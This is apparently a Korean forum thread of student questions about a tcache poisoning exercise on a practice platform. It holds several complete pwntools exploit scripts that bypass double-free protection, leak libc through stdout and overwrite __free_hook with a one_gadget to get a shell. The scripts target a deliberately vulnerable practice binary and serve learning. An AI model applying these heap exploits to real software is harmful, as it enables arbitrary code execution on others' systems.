alloc(0x40, p64(fh)) alloc(0x40, p64(og)) 로 하면 익스플로잇이 안됩니다.. alloc(0x40, p64(fh)) alloc(0x40, "D"*8) alloc(0x40, p64(og)) 를 해야 하는데 중간에 왜 "D"*8을 넣는건가요? free hook에 저장된 주소를 바로 호출하는게 아닌건가요?

똑같은 코드를 이용하여 libc-2.31(로컬) libc-2.27(원격 서버)에서 테스트를 진행해보았을때, 원격은 잘되나, 로컬에서 진행할때에는 잘 되지 않습니다. 똑같은 코드이고 stdout 실제 매핑주소 오프셋도 버전별로 맞춰주었는데 27은 되고 31은 안됩니다. [1]Tcache Posioning alloc(0x30, "juntheworld") free() edit("AAAAAAAA"+"\x00") free() stdout_ptr = e.symbols["stdout"] alloc(0x30, p64(stdout_ptr)) alloc(0x30, "BBBBBBBB") alloc(0x30, "\xa0") #stdout for libc2.27 #alloc(0x30, "\xa0") # stdout for libc-2.31 print_chunk() 디버깅.png 조금 더 구체적으로, Double Free 이후 stdout을 가리키는 주소의 chunk를 malloc 받을때 2.31 버전은 해당 주소가 아닌 새로운 주소로 malloc을 받고 tcache의 값도 그대로 유지가 됩니다 ㅠㅠ 혹시 libc-2.31 버전에서는 tcache를 운영하는 방식이 변경되었나요? (힙영역이 아닌 영역의 주소가 tcache에 들어있다면, 이를 할당하지 않고 새롭게 할당 등등..) 혹시 그렇다면 관련된 내용은 어떻게 찾아볼 수 있을까요..!! 아래는 자세한 내용입니다. https://www.notion.so/libc-2-31-libc-2-27-5b4ac8da4a984f52aa50d612c5c3c76d

풀긴했는데 stdout으로 next 덮고 print하면 잘나오는데 stdin으로 하면 안나오는데 이유가 궁금합니다..

맨 처음에 해제된 청크가 제일 마지막에 재할당되는 LIFO 방식으로 알고있었는데 실습문제 코드에서 DFB로 duplication을 일으킨 뒤 libc Leak 과정 중에 첫 번째 할당 alloc(0x30, "BBBBBBBB")에서는 예상과 달리 맨처음 해제되었던 청크가 할당되고, 두 번째 할당 alloc(0x30, "\x60")에서야 stdout에 만든 free chunk가 할당되는게 이해가 안됩니다. 제 생각으로는 stdout에 만든 free chunk가 먼저 재할당되어야하는게 아닌가 싶었습니다 제가 완전 다르게 이해하고있는걸까요?.. ㅠ

Name: tcache_poison.py #!/usr/bin/python3 from pwn import * p = process("./tcache_poison") e = ELF("./tcache_poison") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") def slog(symbol, addr): return success(symbol + ": " + hex(addr)) def alloc(size, data): p.sendlineafter("Edit\n", "1") p.sendlineafter(":", str(size)) p.sendafter(":", data) def free(): p.sendlineafter("Edit\n", "2") def print_chunk(): p.sendlineafter("Edit\n", "3") def edit(data): p.sendlineafter("Edit\n", "4") p.sendafter(":", data) alloc(0x30, "dreamhack") free() edit("A"*8 + "\x00") free() addr_stdout = e.symbols["stdout"] alloc(0x30, p64(addr_stdout)) alloc(0x30, "BBBBBBBB") # "dreamhack" alloc(0x30, "\x60") # stdout print_chunk() p.recvuntil("Content: ") stdout = u64(p.recv(6).ljust(8, b"\x00")) lb = stdout - libc.symbols["IO_2_1_stdout"] fh = lb + libc.symbols["__free_hook"] og = lb + 0x4f432 slog("free_hook", fh) slog("one_gadget", og) 여기서 stdout의 값을 보는 alloc(0x30, p64(addr_stdout)) alloc(0x30, "BBBBBBBB") # "dreamhack" alloc(0x30, "\x60") 이 부분에서 이렇게 했을때 왜 stdout의 값을 볼수 있는지 궁금합니다!

from pwn import * p = process('./tcache') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') malloc_hook_offset = libc.symbols['__malloc_hook'] #0x601010 def allocate(size_g, content): p.sendlineafter('Edit\n', '1') p.sendlineafter('Size: ', size_g) p.sendafter('Content: ', content) def free(): p.sendlineafter('Edit\n', '2') def edit(edit_chunk): p.sendlineafter('Edit\n', '4') p.sendafter('Edit chunk: ', edit_chunk) def print_g(): p.sendlineafter('Edit\n', '3') allocate('100', 'A') free() edit('A'*9) free() allocate('100', p64(0x601010)) allocate('100', 'A') allocate('100', 'a') print_g() p.interactive() ► 0x400893 <main+348> call printf@plt <printf@plt> format: 0x40098d ◂— 'Content: %s' vararg: 0x601010 (stdout@@GLIBC_2.2.5) —▸ 0x7f1307282761 (IO_2_1_stdout+1) ◂— 0xe300000000fbad28 lb구하는 과정인데 print_g 실행하고나서 부분인데 이렇게 되면 0x7f1307282761나 0xe300000000fbad28 둘 중에 뭔진 모르겠지만 한개는 출력될줄 알았는데 아무것도 안되네요. 뭐가 문젤까요

전부 이해는 했는데 하나가 걸리네요. tcache poisonning 문제에서 IO_2_1_stdout주소 구하려고 \x60으로 릭하는데 \x60의 의미는 무엇인가요? from pwn import * p = process("./tcache_poison") e = ELF("./tcache_poison") def slog(symbol, addr): return success(symbol + ": " + hex(addr)) def alloc(size, data): p.sendlineafter("Edit\n", "1") p.sendlineafter(":", str(size)) p.sendafter(":", data) def free(): p.sendlineafter("Edit\n", "2") def print_chunk(): p.sendlineafter("Edit\n", "3") def edit(data): p.sendlineafter("Edit\n", "4") p.sendafter(":", data) Allocate a chunk of size 0x40 alloc(0x30, "dreamhack") free() tcache[0x40]: "dreamhack" Bypass the DFB mitigation edit("A"*8 + "\x00") free() tcache[0x40]: "dreamhack" -> "dreamhack" Append "0x4141414141414141" to tcache[0x40] alloc(0x30, "AAAAAAAA") p.interactive() `

from pwn import * p = remote("host3.dreamhack.games", 15157) #p = process("./tcache_poison") e = ELF("./tcache_poison") libc = ELF("./libc-2.27.so") #full_relro이기때문에 hook_overwrite를 고려해볼수도 있고 #double free bug를 써봐야할듯 stdout = e.symbols['stdout'] p.sendline(b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', str('31337')) p.sendlineafter(b't\n', b'2') p.sendlineafter(b't\n',b'4') p.sendafter(b': ',str('AAAAAAAAA')) p.sendlineafter(b't\n',b'2') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', p64(stdout)) p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', b'BBBBBBBB') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', b'\x60') p.sendlineafter(b't\n', b'3') p.recvuntil(b'Content: ') stdout = u64(p.recv(6) + b"\x00" * 2) print(hex(stdout)) lb = stdout - libc.symbols["IO_2_1_stdout"] fh = lb + libc.symbols["__free_hook"] print(hex(lb)) print(hex(fh)) oneshot = lb + 0x4f432 p.sendlineafter(b"t\n", b'1') p.sendlineafter(b": ", b'70') p.sendafter(b": ", b"31337") p.sendlineafter(b"t\n", b'2') p.sendlineafter(b"t\n", b'4') p.sendafter(b": ", b'aaaaaaaaa') p.sendlineafter(b"t\n", b'2') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'70') p.sendafter(b": ", p64(fh)) p.sendlineafter(b't\n', b"1") p.sendlineafter(b": ", b'70') p.sendafter(b': ', b'31337') p.sendlineafter(b't\n', b"1") p.sendlineafter(b": ", b'70') p.sendafter(b': ', p64(oneshot)) p.sendlineafter(b"t\n", b'2') p.interactive() 저의 exploit코드는다음과 같습니다 local에서 실행시 끝까지 잘 진행되고 결과적으로 onegadget의 주소로 이동해서 터미널에서 ls를 치면 sh: 1: 2t.\x91\xd6: not found Allocate Free Print Edit 위와같은 문구가 무한히 반복하며 출력되어 서버에서도 시도했는데 서버는 sendlineafter에서 timeout이 발생하더라구요 Traceback (most recent call last): File "ex.py", line 17, in <module> p.sendafter(b': ',str('AAAAAAAAA')) File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 813, in sendafter res = self.recvuntil(delim, timeout=timeout) 다른분들의 ex코드들을 여러번 바꿔가며 실행해도 서버에서 sendlineafter부분에서 timeout이 발생합니다 원인이 뭘까요?

gdb를 통해서 분석한 결과 image.png image.png (jne free+736)을 실행하기 위해 제가 rax의 값을 main의 시작 주소로 설정했습니다. __free_hook이 가리키는 함수를 실행하는 부분은 <free+741>에 해당하고 이 시점에 [$rsp+0x40], [$rsp+0x70]을 확인해보면 image.png 둘 다 NULL이 아님을 알 수 있습니다. 따라서 다음과 같이 image.png 우리가 실행하고자 하는 one_gadget들의 constraints를 만족하지 않는데, 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 는 어떻게 실행된 거고, 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 는 실행되지 않는 건가요..? 둘 다 Constraints를 만족시키지 못 했으니, 둘 다 실행되지 않아야 하는 거 아닌가요? 혼자서 해결해보려 했지만, 제 힘으로는 도저히 이해가 가지 않아 질문 남겨봅니다. 긴 글 읽어주셔서 감사합니다

Tcache가 LIFO 순서로 할당된다는데 그렇다면 \# Append address of stdout to tcache[0x40] \# tcache[0x40]: chunk A -> stdout -> IO_2_1_stdout -> ... addr_stdout = e.symbols['stdout'] alloc(0x30, p64(addr_stdout)) \# tcache[0x40]: stdout -> IO_2_1_stdout -> ... alloc(0x30, b'BBBBBBBB') 해당 과정에서 chunk A가 BBBBBBBB로 할당되는 것이 아니라 나중에 들어온 stdout이 할당되어야 하는 것 아닌가요?